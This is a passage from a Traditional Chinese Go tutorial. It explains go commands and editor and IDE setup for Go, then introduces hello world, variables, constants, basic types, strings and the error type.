透過命令在命令列執行 godoc -http=:埠號 比如 godoc -http=:8080 。然後在瀏覽器中開啓 127.0.0.1:8080 ，你將會看到一個 golang.org 的本地 copy 版本，透過它你可以查詢 pkg 文件等其它內容。如果你設定了 GOPATH，在 pkg 分類下，不但會列出標準套件的文件，還會列出你本地 GOPATH 中所有專案的相關文件，這對於經常被牆的使用者來說是一個不錯的選擇。

## 其它命令

go 還提供了其它很多的工具，例如下面的這些工具

```
go version 檢視 go 當前的版本
go env 檢視當前 go 的環境變數
go list 列出當前全部安裝的 package

go run 編譯並執行 Go 程式
```

以上這些工具還有很多引數沒有一一介紹，使用者可以使用 `go help` 命令 取得更詳細的幫助資訊。

## links

- [目錄](#)
- 上一節: [GOPATH 與工作空間](#)
- 下一節: [Go 開發工具](#)

## 1.4 Go 開發工具

本節我將介紹幾個開發工具，它們都具有自動化提示，自動化 `fmt` 功能。因為它們都是跨平臺的，所以安裝步驟之類別的都是通用的。

### LiteIDE

LiteIDE 是一款專門為 Go 語言開發的跨平臺輕量級整合開發環境（IDE），由 `visualfc` 編寫。



圖 1.4 LiteIDE 主介面

**LiteIDE 主要特點：**

- 支援主流作業系統
  - Windows
  - Linux
  - MacOS X
- Go 編譯環境管理和切換
  - 管理和切換多個 Go 編譯環境
  - 支援 Go 語言交叉編譯
- 與 Go 標準一致的專案管理方式
  - 基於 GOPATH 的套件瀏覽器
  - 基於 GOPATH 的編譯系統
  - 基於 GOPATH 的 Api 文件檢索
- Go 語言的編輯支援
  - 類別瀏覽器和綱目顯示
  - Gocode(程式碼自動完成工具)的完美支援
  - Go 語言文件檢視和 Api 快速檢索
  - 程式碼表達式資訊顯示 `F1`
  - 原始碼定義跳轉支援 `F2`
  - Gdb 斷點和除錯支援
  - `gofmt` 自動格式化支援
- 其他特徵

- 支援多國語言介面顯示
- 完全外掛體系結構
- 支援編輯器配色方案
- 基於 Kate 的語法顯示支援
- 基於全文的單詞自動完成
- 支援鍵盤快捷鍵繫結方案
- Markdown 文件編輯支援
  - 即時預覽和同步顯示
  - 自訂 CSS 顯示
  - 可匯出 HTML 和 PDF 文件
  - 批量轉換/合併為 HTML/PDF 文件

## LiteIDE 安裝配置

- LiteIDE 安裝

- 下載地址 <http://sourceforge.net/projects/liteide/files>
- 原始碼地址 <https://github.com/visualfc/liteide>

首先安裝好 Go 語言環境，然後根據作業系統下載 LiteIDE 對應的壓縮檔案直接解壓即可使用。

- 編譯環境設定

根據自身系統要求切換和配置 LiteIDE 當前使用的環境變數。

以 Windows 作業系統，64 位 Go 語言為例，工具欄的環境配置中選擇 win64，點 **編輯環境**，進入 LiteIDE 編輯 win64.env 檔案

```
GOROOT=c:\go
GOBIN=
GOARCH=amd64
GOOS=windows
CGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%
. . .
```

將其中的 `GOROOT=c:\go` 修改為當前 Go 安裝路徑，存檔即可，如果有 MinGW64，可以將 `c:\MinGW64\bin` 加入 PATH 中以便 go 呼叫 gcc 支援 CGO 編譯。

以 Linux 作業系統，64 位 Go 語言為例，工具欄的環境配置中選擇 linux64，點 編輯環境，進入 LiteIDE 編輯 linux64.env 檔案

```
GOROOT=$HOME/go
GOBIN=
GOARCH=amd64
GOOS=linux
CGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH
. . .
```

將其中的 `GOROOT=$HOME/go` 修改為當前 Go 安裝路徑，存檔即可。

- GOPATH 設定

Go 語言的工具鏈使用 GOPATH 設定，是 Go 語言開發的專案路徑列表，在命令列中輸入(在 LiteIDE 中也可以 `ctrl+`，直接輸入) `go help gopath` 快速檢視 GOPATH 文件。

在 LiteIDE 中可以方便的檢視和設定 GOPATH。透過 選單－檢視－GOPATH 設定，可以檢視系統中已存在的 GOPATH 列表，同時可根據需要新增專案目錄到自訂 GOPATH 列表中。

## Sublime Text

這裡將介紹 Sublime Text 3（以下簡稱 Sublime）+ GoSublime + gocode 的組合，那麼為什麼選擇這個組合呢？

- 自動化提示程式碼，如下圖所示



圖 1.5 sublime 自動化提示介面

- 儲存的時候自動格式化程式碼，讓您編寫的程式碼更加美觀，符合 Go 的標準。
- 支援專案管理



圖 1.6 sublime 專案管理介面

- 支援語法高亮
- Sublime Text 3 可免費使用，只是儲存次數達到一定數量之後就會提示是否購買，點選取消繼續用，和正式註冊版本沒有任何區別。

接下來就開始講如何安裝，下載 [Sublime](#)

根據自己相應的系統下載相應的版本，然後開啓 Sublime，對於不熟悉 Sublime 的同學可以先看一下這篇文章[Sublime Text 全程指南](#)或者[sublime text3 入門課程](#)

1. 開啓之後安裝 Package Control：Ctrl+` 開啓命令列，執行如下程式碼：

適用於 Sublime Text 3：

```
import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())
```

適用於 Sublime Text 2：

```
import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)if not os.path.exists(ipp)else None;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation')
```

這個時候重啓一下 Sublime，可以發現在在選單欄多了一個如下的節目，說明 Package Control 已經安裝成功了。





圖 1.7 sublime 套件管理

1. 安裝完之後就可以安裝 Sublime 的外掛了。需安裝 GoSublime、SidebarEnhancements 和 Go Build，安裝外掛之後記得重啓 Sublime 生效，Ctrl+Shift+p 開啓 Package Controll 輸入 `pcip`（即“Package Control: Install Package”的縮寫）。

這個時候看左下角顯示正在讀取套件資料，完成之後出現如下介面



圖 1.8 sublime 安裝外掛介面

這個時候輸入 GoSublime，按確定就開始安裝了。同理應用於 SidebarEnhancements 和 Go Build。

2. 安裝 `gocode`

```
go get -u github.com/nsf/gocode
```

`gocode` 將會安裝在預設 `$GOBIN`

另外建議安裝 `gotests`(產生測試程式碼):

先在 sublime 安裝 `gotests` 外掛，再執行：

```
go get -u -v github.com/cweill/gotests/...
```

1. 驗證是否安裝成功，你可以開啓 Sublime，開啓 `main.go`，看看語法是不是高亮了，輸入 `import` 是不是自動化提示了，`import "fmt"` 之後，輸入 `fmt.` 是不是自動化提示有函數了。

如果已經出現這個提示，那說明你已經安裝完成了，並且完成了自動提示。

如果沒有出現這樣的提示，一般就是你的 `$PATH` 沒有配置正確。你可以開啓終端，輸入 `gocode`，是不是能夠正確執行，如果不行就說明 `$PATH` 沒有配置正確。(針對 XP)有時候在終端能執行成功，但 sublime 無提示或者編譯解碼錯誤，請安裝 `sublime text3` 和 `convert utf8` 外掛試一試

2. MacOS 下已經設定了\$GOROOT, \$GOPATH, \$GOBIN，還是沒有自動提示怎麼辦。

請在 sublime 中使用 `command + 9`，然後輸入 `env` 檢查\$PATH, GOROOT, \$GOPATH, \$GOBIN 等變數，如果沒有請採用下面的方法。

首先建立下面的連線，然後從 Terminal 中直接啟動 sublime

```
ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl  
/usr/local/bin/sublime
```

## Visual Studio Code

vscode 是微軟基於 Electron 和 web 技術建構的開源編輯器，是一款很強大的編輯器。開源地址：<https://github.com/Microsoft/vscode>

### 1、安裝 Visual Studio Code 最新版

官方網站：<https://code.visualstudio.com/> 下載 Visual Studio Code 最新版，安裝過程略。

### 2、安裝 Go 外掛

點選右邊的 Extensions 圖示 搜尋 Go 外掛 在外掛列表中，選擇 Go，進行安裝，安裝之後，系統會提示重啓 Visual Studio Code。

建議把自動儲存功能開啓。開啓方法爲：選擇選單 File，點選 Auto save。

vscode 程式碼設定可用於 Go 擴充套件。這些都可以在使用者的喜好來設定或工作區設定（.vscode/settings.json）。

開啓首選項-使用者設定 settings.json:

```
{
    "go.buildOnSave": true,
    "go.lintOnSave": true,
    "go.vetOnSave": true,
    "go.buildFlags": [],
    "go.lintFlags": [],
    "go.vetFlags": [],
    "go.coverOnSave": false,
    "go.useCodeSnippetsOnFunctionSuggest": false,
    "go.formatOnSave": true,
    //goimports
    "go.formatTool": "goreturns",
    "go.goroot": "", //你的 Goroot

    "go.gopath": "", //你的 Gopath
}
```

接著安裝相依套件支援(網路不穩定，請直接到 [Github Golang](#) 下載再移動到相關目錄):

```
go get -u -v github.com/nsf/gocode
go get -u -v github.com/rogppe/godef
go get -u -v github.com/zmb3/gogetdoc
go get -u -v github.com/golang/lint/golint
go get -u -v github.com/lukehoban/go-outline
go get -u -v sourcegraph.com/sqs/goreturns
go get -u -v golang.org/x/tools/cmd/gorename
go get -u -v github.com/tpng/gopkgs
go get -u -v github.com/newhook/go-symbols
go get -u -v golang.org/x/tools/cmd/guru
go get -u -v github.com/cweill/gotests/...
```

vscode 還有一項很強大的功能就是斷點除錯，結合 [delve](#) 可以很好的進行 Go 程式碼除錯

```
go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv
```

```
brew install go-delve/delve/delve(mac 可選)
```

如果有問題再來一遍:

```
go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv
```

注意: 修改"dlv-cert"證書, 選擇"顯示簡介"->"信任"->"程式碼簽名" 修改為: 始終信任

開啓首選項-工作區設定, 配置 launch.json:

```
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "main.go",
      "type": "go",
      "request": "launch",
      "mode": "debug",
      "remotePath": "",
      "port": 2345,
      "host": "127.0.0.1",
      "program": "${workspaceRoot}", //工作空間路徑
      "env": {},
      "args": [],
      "showLog": true
    }
  ]
}
```

## Atom

Atom 是 Github 基於 Electron 和 web 技術建構的開源編輯器，是一款很漂亮強大的編輯器缺點是速度比較慢。

首先要先安裝下 Atom，下載地址: <https://atom.io/>

然後安裝 go-plus 外掛:

go-plus 是 Atom 上面的一款開源的 go 語言開發環境的外掛

它需要依賴下面的 go 語言工具:

1. `autocomplete-go` : gocode 的程式碼自動提示
2. `gofmt` : 使用 gofmt, goimports, goturns
3. `builder-go`: `go-install` 和 `go-test`，驗證程式碼，給出建議
4. `gometalinet-linter`: `golint`, `vet`, `gotype` 的檢查
5. `navigator-godef`: `godef`
6. `tester-go` : `go test`
7. `gorename` : `rename`

在 Atom 中的 Preference 中可以找到 install 選單，輸入 go-plus，然後點選安裝 (install)

就會開始安裝 go-plus，go-plus 外掛會自動安裝對應的依賴外掛，如果沒有安裝對應的 go 的類別函式庫會自動執行: `go get` 安裝。

## GoLand

GoLand 是 JetBrains 公司推出的 Go 語言整合開發環境，是 Idea Go 外掛的強化版。GoLand 同樣基於 IntelliJ 平臺開發，支援 JetBrains 的外掛體系。

下載地址: <https://www.jetbrains.com/go/>

## Vim

Vim 是從 vi 發展出來的一個文字編輯器，程式碼自動完成、編譯及錯誤跳轉等方便程式設計的功能特別豐富，在程式設計師中被廣泛使用。

vim-go 是 vim 上面的一款開源的 go 語言使用最爲廣泛開發環境的的外掛

外掛地址：[github.com/fatih/vim-go](https://github.com/fatih/vim-go)

vim 的外掛管理主要有 [Pathogen](#) 與 [Vundle](#)，但是其作用的方面不同。pathogen 是爲了解決每一個外掛安裝後文件分散到多個目錄不好管理而存在的。vundle 是爲了解決自動搜尋及下載外掛而存在的。這兩個外掛可同時使用。

## 1. 安裝 Vundle

```
mkdir ~/.vim/bundle
git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim
```

修改.vimrc，將 Vundle 的相關配置置在最開始處([詳細參考 Vundle 的介紹文件](#))

```
set nocompatible          " be iMproved, required
filetype off              " required

" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

" let Vundle manage Vundle, required
Plugin 'gmarik/Vundle.vim'

" All of your Plugins must be added before the following line
call vundle#end()          " required
filetype plugin indent on  " required
```

## 2. 安裝 Vim-go

修改~/.vimrc，在 vundle#begin 和 vundle#end 間增加一行：

```
Plugin 'fatih/vim-go'
```

在 Vim 內執行: PluginInstall

3. 安裝 YCM(Your Complete Me)進行自動自動完成 在~/.vimrc 中新增一行：

```
Plugin 'Valloric/YouCompleteMe'
```

在 Vim 內執行: PluginInstall



圖 1.9 VIM 編輯器自動化提示 Go 介面

接著我們繼續配置 vim:

1. 配置 vim 高亮顯示

```
cp -r $GOROOT/misc/vim/* ~/.vim/
```

2. 在~/.vimrc 檔案中增加語法高亮顯示

```
filetype plugin indent on  
syntax on
```

3. 安裝Gocode

```
go get -u github.com/nsf/gocode
```

gocode 預設安裝到 `$GOPATH/bin` 下面。

4. 配置Gocode

```

~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"

```

`gocode set` 裡面的兩個引數的含意說明：

`propose-builtins`：是否自動提示 Go 的內建函式、型別和常量，預設為 `false`，不提示。

`lib-path`:預設情況下，`gocode` 只會搜

尋 `$GOPATH/pkg/$GOOS_$GOARCH` 和

`$GOROOT/pkg/$GOOS_$GOARCH` 目錄下的套件，當然這個設定就是可以設定我們額外的 `lib` 能訪問的路徑

1. 恭喜你，安裝完成，你現在可以使用 `:e main.go` 體驗一下開發 Go 的樂趣。

更多 VIM 設定, 可參考 [連結](#)

## Emacs

Emacs 傳說中的神器，她不僅僅是一個編輯器，它是一個整合環境，或可稱它為整合開發環境，這些功能如讓使用者置身於全功能的作業系統中。



圖 1.10 Emacs 編輯 Go 主介面

1. 配置 Emacs 高亮顯示

```
cp $GOROOT/misc/emacs/* ~/.emacs.d/
```

2. 安裝 [Gocode](#)



```
go get -u github.com/nsf/gocode
```

`gocode` 預設安裝到 `$GOBIN` 裡面下面。

### 3. 配置 `Gocode`

```
~ cd $GOPATH/src/github.com/nsf/gocode/emacs
~ cp go-autocomplete.el ~/.emacs.d/
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
// 換爲你自己的路徑
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"
```

#### 1. 需要安裝 `Auto Completion`

下載 `AutoComplete` 並解壓

```
~ make install DIR=$HOME/.emacs.d/auto-complete
```

配置 `~/.emacs` 檔案

```
;;auto-complete
(require 'auto-complete-config)
(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
(ac-config-default)
(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
(local-set-key "." 'semantic-complete-self-insert)
(local-set-key ">" 'semantic-complete-self-insert)
```

詳細資訊參考: <http://www.emacswiki.org/emacs/AutoComplete>

#### 2. 配置 `.emacs`

```
;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
 'go-mode-hook
 '(lambda ()
   ;; gocode
   (auto-complete-mode 1)
   (setq ac-sources '(ac-source-go))
   ;; Imenu & Speedbar
   (setq imenu-generic-expression
    '(("type" "^type *\\([^\t\n\r\f]*\\)" 1)
      ("func" "^func *\\(.+\\)" 1)))
   (imenu-add-to-menubar "Index")
   ;; Outline mode
   (make-local-variable 'outline-regexp)
   (setq outline-regexp "//\\.\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var\\.\\|type\\|\\t\\t*\\.\\.\\.")
   (outline-minor-mode 1)
   (local-set-key "\M-a" 'outline-previous-visible-heading)
 )
   (local-set-key "\M-e" 'outline-next-visible-heading)
   ;; Menu bar
   (require 'easymenu)
   (defconst go-hooked-menu
    '("Go tools"
      ["Go run buffer" go t]
      ["Go reformat buffer" go-fmt-buffer t]
      ["Go check buffer" go-fix-buffer t]))
   (easy-menu-define
    go-added-menu
    (current-local-map)
    "Go tools"
    go-hooked-menu)

   ;; Other
```

```
(setq show-trailing-whitespace t)
))
;; helper function
(defun go ()
  "run current buffer"
  (interactive)
  (compile (concat "go run " (buffer-file-name))))

;; helper function
(defun go-fmt-buffer ()
  "run gofmt on current buffer"
  (interactive)
  (if buffer-read-only
    (progn
      (ding)
      (message "Buffer is read only"))
    (let ((p (line-number-at-pos))
          (filename (buffer-file-name))
          (old-max-mini-window-height max-mini-window-height))
      (show-all)
      (if (get-buffer "*Go Reformat Errors*")
        (progn
          (delete-windows-on "*Go Reformat Errors*")
          (kill-buffer "*Go Reformat Errors*"))
        (setq max-mini-window-height 1)
        (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t))
          (progn
            (erase-buffer)
            (insert-buffer-substring "*Go Reformat Output*")
            (goto-char (point-min))
            (forward-line (1- p)))
          (with-current-buffer "*Go Reformat Errors*"
            (progn
              (goto-char (point-min))
              (while (re-search-forward "<standard input>" nil t)
                (replace-match filename))
              (goto-char (point-min))
              (compilation-mode))))))
```

```

        (setq max-mini-window-height old-max-mini-window-height)
      (delete-windows-on "*Go Reformat Output*")
      (kill-buffer "*Go Reformat Output*"))))
;; helper function
(defun go-fix-buffer ()
  "run gofix on current buffer"
  (interactive)
  (show-all)
  (shell-command-on-region (point-min) (point-max) "go to
ol fix -diff"))

```

3. 恭喜你，你現在可以體驗在神器中開發 Go 的樂趣。預設 **speedbar** 是關閉的，如果開啓需要把 `;; (speedbar 1)` 前面的註釋去掉，或者也可以透過 *M-x speedbar* 手動開啓。

## Eclipse

Eclipse 也是非常常用的開發利器，以下介紹如何使用 Eclipse 來編寫 Go 程式。



圖 1.11 Eclipse 編輯 Go 的主介面

1. 首先下載並安裝好 [Eclipse](#)
2. 下載 [goclipse](#) 外掛

<http://code.google.com/p/goclipse/wiki/InstallationInstructions>

3. 下載 `gocode`，用於 `go` 的程式碼自動完成提示

`gocode` 的 github 地址：

```
https://github.com/nsf/gocode
```

在 windows 下要安裝 `git`，通常用 [msysgit](#)

再在 `cmd` 下安裝：

```
go get -u github.com/nsf/gocode
```

也可以下載程式碼，直接用 `go build` 來編譯，會產生 `gocode.exe`

4. 下載[MinGW](#)並按要求裝好

5. 配置外掛

Windows->Reference->Go

(1).配置 Go 的編譯器



圖 1.12 設定 Go 的一些基礎資訊

(2).配置 Gocode（可選，程式碼自動完成），設定 Gocode 路徑為之前產生的 `gocode.exe` 檔案



圖 1.13 設定 gocode 資訊

(3).配置 GDB（可選，做除錯用），設定 GDB 路徑為 MingW 安裝目錄下的 `gdb.exe` 檔案



圖 1.14 設定 GDB 資訊

1. 測試是否成功

新建一個 go 工程，再建立一個 `hello.go`。如下圖：



圖 1.15 新建專案編輯檔案

除錯如下（要在 `console` 中用輸入命令來除錯）：



圖 1.16 除錯 Go 程式

## IntelliJ IDEA

熟悉 Java 的讀者應該對於 idea 不陌生，idea 是透過一個外掛來支援 go 語言的高亮語法，程式碼提示和重構實現。

1. 先下載 idea，idea 支援多平臺：win,mac,linux，如果有錢就買個正式版，如果不行就使用社群免費版，對於只是開發 Go 語言來說免費版足夠用了



2. 安裝 Go 外掛，點選選單 File 中的 Setting，找到 Plugins，點選,Browser repo 按鈕。國內的使用者可能會報錯，自己解決哈。



3. 這時候會看見很多外掛，搜尋找到 Golang，雙擊,download and install。等到 golang 那一行後面出現 Downloaded 標誌後，點 OK。



然後點 Apply .這時候 IDE 會要求你重啓。

4. 重啓完畢後，建立新專案會發現已經可以建立 golang 專案了：



下一步，會要求你輸入 go sdk 的位置，一般都安裝在 C:\Go，linux 和 mac 根據自己的安裝目錄設定，選中目錄確定，就可以了。

## links

- [目錄](#)
- 上一節: [Go 命令](#)
- 下一節: [總結](#)

## 1.5 總結

這一章中我們主要介紹瞭如何安裝 Go，Go 可以透過三種方式安裝：原始碼安裝、標準套件安裝、第三方工具安裝，安裝之後我們需要配置我們的開發環境，然後介紹瞭如何配置本地的 `$GOPATH`，透過設定 `$GOPATH` 之後讀者就可以建立專案，接著介紹瞭如何來進行專案編譯、應用安裝等問題，這些需要用到很多 Go 命令，所以接著就介紹了一些 Go 的常用命令工具，包括編譯、安裝、格式化、測試等命令，最後介紹了 Go 的開發工具，目前有很多 Go 的開發工具：LiteIDE、Sublime、VSCode、Atom、Goland、VIM、Emacs、Eclipse、Idea 等工具，讀者可以根據自己熟悉的工具進行配置，希望能夠透過方便的工具快速的開發 Go 應用。

## links

- [目錄](#)
- 上一節: [Go 開發工具](#)
- 下一章: [Go 語言基礎](#)

## 2 Go 語言基礎

Go 是一門類似 C 的編譯型語言，但是它的編譯速度非常快。這門語言的關鍵字總共也就二十五個，比英文字母還少一個，這對於我們的學習來說就簡單了很多。先讓我們看一眼這些關鍵字都長什麼樣：

break	default	func	interface	select
case	defer	go	map	struct
chan	else	goto	package	switch
const	fallthrough	if	range	type
continue	for	import	return	var

在接下來的這一章中，我將帶領你去學習這門語言的基礎。透過每一小節的介紹，你將發現，Go 的世界是那麼地簡潔，設計是如此地美妙，編寫 Go 將會是一件愉快的事情。等回過頭來，你就會發現這二十五個關鍵字是多麼地親切。

### 目錄



### links

- [目錄](#)
- 上一章: [第一章總結](#)
- 下一節: [你好，Go](#)



## 2.1 你好，Go

在開始編寫應用之前，我們先從最基本的程式開始。就像你造房子之前不知道什麼是地基一樣，編寫程式也不知道如何開始。因此，在本節中，我們要學習用最基本的語法讓 Go 程式執行起來。

### 程式

這就像一個傳統，在學習大部分語言之前，你先學會如何編寫一個可以輸出 `hello world` 的程式。

準備好了嗎？Let's Go!

```
package main

import "fmt"

func main() {
    fmt.Printf("Hello, world or 你好，世界 or καλημ´ρα κόσμ or こんにちはせかい\n")
}
```

輸出如下：

```
Hello, world or 你好，世界 or καλημ´ρα κόσμ or こんにちはせかい
```

### 詳解

首先我們要了解一個概念，Go 程式是透過 `package` 來組織的

`package <pkgName>`（在我們的例子中是 `package main`）這一行告訴我們當前檔案屬於哪個套件，而套件名 `main` 則告訴我們它是一個可獨立執行的套件，它在編譯後會產生可執行檔案。除了 `main` 套件之外，其它的套件最後都會產

生 \*.a 檔案（也就是套件檔案）並放置在 `$GOPATH/pkg/$GOOS_$GOARCH` 中（以 Mac 為例就是 `$GOPATH/pkg/darwin_amd64`）。

每一個可獨立執行的 Go 程式，必定包含一個 `package main`，在這個 `main` 套件中必定包含一個入口函式 `main`，而這個函式既沒有引數，也沒有返回值。

為了列印 `Hello, world...`，我們呼叫了一個函式 `Printf`，這個函式來自於 `fmt` 套件，所以我們在第三行中匯入了系統級別的 `fmt` 套件：`import "fmt"`。

套件的概念和 Python 中的 `package` 類似，它們都有一些特別的好處：模組化（能夠把你的程式分成多個模組）和可重用性（每個模組都能被其它應用程式反覆使用）。我們在這裡只是先了解一下套件的概念，後面我們將會編寫自己的套件。

在第五行中，我們透過關鍵字 `func` 定義了一個 `main` 函式，函式體被放在 `{}`（大括號）中，就像我們平時寫 C、C++ 或 Java 時一樣。

大家可以看到 `main` 函式是沒有任何的引數的，我們接下來就學習如何編寫帶引數的、返回 0 個或多個值的函式。

第六行，我們呼叫了 `fmt` 套件裡面定義的函式 `Printf`。大家可以看到，這個函式是透過 `<pkgName>.<funcName>` 的方式呼叫的，這一點和 Python 十分相似。

前面提到過，套件名和套件所在的資料夾名可以是不同的，此處的 `<pkgName>` 即為透過 `package <pkgName>` 宣告的套件名，而非資料夾名。

最後大家可以看到我們輸出的內容裡面包含了很多非 ASCII 碼字元。實際上，Go 是天生支援 UTF-8 的，任何字元都可以直接輸出，你甚至可以用 UTF-8 中的任何字元作為識別符號。

## 結論

Go 使用 `package`（和 Python 的模組類似）來組織程式碼。`main.main()` 函式（這個函式位於主套件）是每一個獨立的可執行程式的入口點。Go 使用 UTF-8 字串和識別符號（因為 UTF-8 的發明者也就是 Go 的發明者之一），所以它天生支援多語言。

## links

- [目錄](#)
- 上一節: [Go 語言基礎](#)
- 下一節: [Go 基礎](#)

## 2.2 Go 基礎

這小節我們將要介紹如何定義變數、常量、Go 內建型別以及 Go 程式設計中的一些技巧。

### 定義變數

Go 語言裡面定義變數有多種方式。

使用 `var` 關鍵字是 Go 最基本的定義變數方式，與 C 語言不同的是 Go 把變數型別放在變數名後面：

```
//定義一個名稱爲“variableName”，型別爲"type"的變數
var variableName type
```

定義多個變數

```
//定義三個型別都是"type"的變數
var vname1, vname2, vname3 type
```

定義變數並初始化值

```
//初始化“variableName”的變數爲“value”值，型別是"type"
var variableName type = value
```

同時初始化多個變數

```
/*
    定義三個型別都是"type"的變數，並且分別初始化為相應的值
    vname1 為 v1，vname2 為 v2，vname3 為 v3
*/
var vname1, vname2, vname3 type= v1, v2, v3
```

你是不是覺得上面這樣的定義有點繁瑣？沒關係，因為 Go 語言的設計者也發現了，有一種寫法可以讓它變得簡單一點。我們可以直接忽略型別宣告，那麼上面的程式碼變成這樣了：

```
/*
    定義三個變數，它們分別初始化為相應的值
    vname1 為 v1，vname2 為 v2，vname3 為 v3
    然後 Go 會根據其相應值的型別來幫你初始化它們
*/
var vname1, vname2, vname3 = v1, v2, v3
```

你覺得上面的還是有些繁瑣？好吧，我也覺得。讓我們繼續簡化：

```
/*
    定義三個變數，它們分別初始化為相應的值
    vname1 為 v1，vname2 為 v2，vname3 為 v3
    編譯器會根據初始化的值自動推匯出相應的型別
*/
vname1, vname2, vname3 := v1, v2, v3
```

現在是不是看上去非常簡潔了？`:=` 這個符號直接取代了 `var` 和 `type`，這種形式叫做簡短宣告。不過它有一個限制，那就是它只能用在函式內部；在函式外部使用則會無法編譯透過，所以一般用 `var` 方式來定義全域性變數。

`_`（下劃線）是個特殊的變數名，任何賦予它的值都會被丟棄。在這個例子中，我們將值 `35` 賦予 `b`，並同時丟棄 `34`：

```
_ , b := 34, 35
```

Go 對於已宣告但未使用的變數會在編譯階段報錯，比如下面的程式碼就會產生一個錯誤：聲明瞭 `i` 但未使用。

```
package main

func main() {
    var i int
}
```

## 常量

所謂常量，也就是在程式編譯階段就確定下來的值，而程式在執行時無法改變該值。在 Go 程式中，常量可定義為數值、布林值或字串等型別。

它的語法如下：

```
const constantName = value
//如果需要，也可以明確指定常量的型別：
const Pi float32 = 3.1415926
```

下面是一些常量宣告的例子：

```
const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"
```

Go 常量和一般程式語言不同的是，可以指定相當多的小數位數(例如 200 位)，若指定給 `float32` 自動縮短為 32bit，指定給 `float64` 自動縮短為 64bit，詳情參考 [連結](#)

## 內建基礎型別

### Boolean

在 Go 中，布林值的型別為 `bool`，值是 `true` 或 `false`，預設為 `false`。

```
//範例程式碼
var isActive bool // 全域性變數宣告
var enabled, disabled = true, false // 忽略型別的宣告
func test() {
    var available bool // 一般宣告
    valid := false      // 簡短宣告
    available = true     // 賦值操作
}
```

### 數值型別

整數型別有無符號和帶符號兩種。Go 同時支援 `int` 和 `uint`，這兩種型別的長度相同，但具體長度取決於不同編譯器的實現。Go 裡面也有直接定義好位數的型別：`rune`，`int8`，`int16`，`int32`，`int64` 和 `byte`，`uint8`，`uint16`，`uint32`，`uint64`。其中 `rune` 是 `int32` 的別稱，`byte` 是 `uint8` 的別稱。

需要注意的一點是，這些型別的變數之間不允許互相賦值或操作，不然會在編譯時引起編譯器報錯。

如下的程式碼會產生錯誤：invalid operation: a + b (mismatched types int8 and int32)

```
var a int8

var b int32

c:=a + b
```

另外，儘管 `int` 的長度是 32 bit，但 `int` 與 `int32` 並不可以互用。

浮點數的型別有 `float32` 和 `float64` 兩種（沒有 `float` 型別），預設是 `float64`。

這就是全部嗎？No！Go 還支援複數。它的預設型別是 `complex128`（64 位實數+64 位虛數）。如果需要小一些的，也有 `complex64`（32 位實數+32 位虛數）。複數的形式為 `RE + IMi`，其中 `RE` 是實數部分，`IM` 是虛數部分，而最後的 `i` 是虛數單位。下面是一個使用複數的例子：

```
var c complex64 = 5+5i
//output: (5+5i)
fmt.Printf("Value is: %v", c)
```

## 字串

我們在上一節中講過，Go 中的字串都是採用 `UTF-8` 字符集編碼。字串是用一對雙引號（`"`）或反引號（```）括起來定義，它的型別是 `string`。

```
//範例程式碼
var frenchHello string // 宣告變數為字串的一般方法
var emptyString string = "" // 聲明瞭一個字串變數，初始化為空字串
func test() {
    no, yes, maybe := "no", "yes", "maybe" // 簡短宣告，同時宣告多個變數
    japaneseHello := "Konichiwa" // 同上
    frenchHello = "Bonjour" // 常規賦值
}
```

在 Go 中字串是不可變的，例如下面的程式碼編譯時會報錯：`cannot assign to s[0]`

```
var s string = "hello"
s[0] = 'c'
```

但如果真的想要修改怎麼辦呢？下面的程式碼可以實現：



```
s := "hello"
c := []byte(s) // 將字串 s 轉換為 []byte 型別
c[0] = 'c'
s2 := string(c) // 再轉換回 string 型別
fmt.Printf("%s\n", s2)
```

Go 中可以使用 `+` 運算子來連線兩個字串：

```
s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)
```

修改字串也可寫為：

```
s := "hello"
s = "c" + s[1:] // 字串雖不能更改，但可進行切片操作
fmt.Printf("%s\n", s)
```

如果要宣告一個多行的字串怎麼辦？可以透過 ``` 來宣告：

```
m := `hello
    world`
```

``` 括起的字串為 **Raw** 字串，即字串在程式碼中的形式就是列印時的形式，它沒有字元轉義，換行也將原樣輸出。例如本例中會輸出：

```
hello
    world
```

## 錯誤型別

Go 內建有一個 `error` 型別，專門用來處理錯誤資訊，Go 的 `package` 裡面還專門有一個套件 `errors` 來處理錯誤：

```
err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
    fmt.Print(err)
}
```

## Go 資料底層的儲存

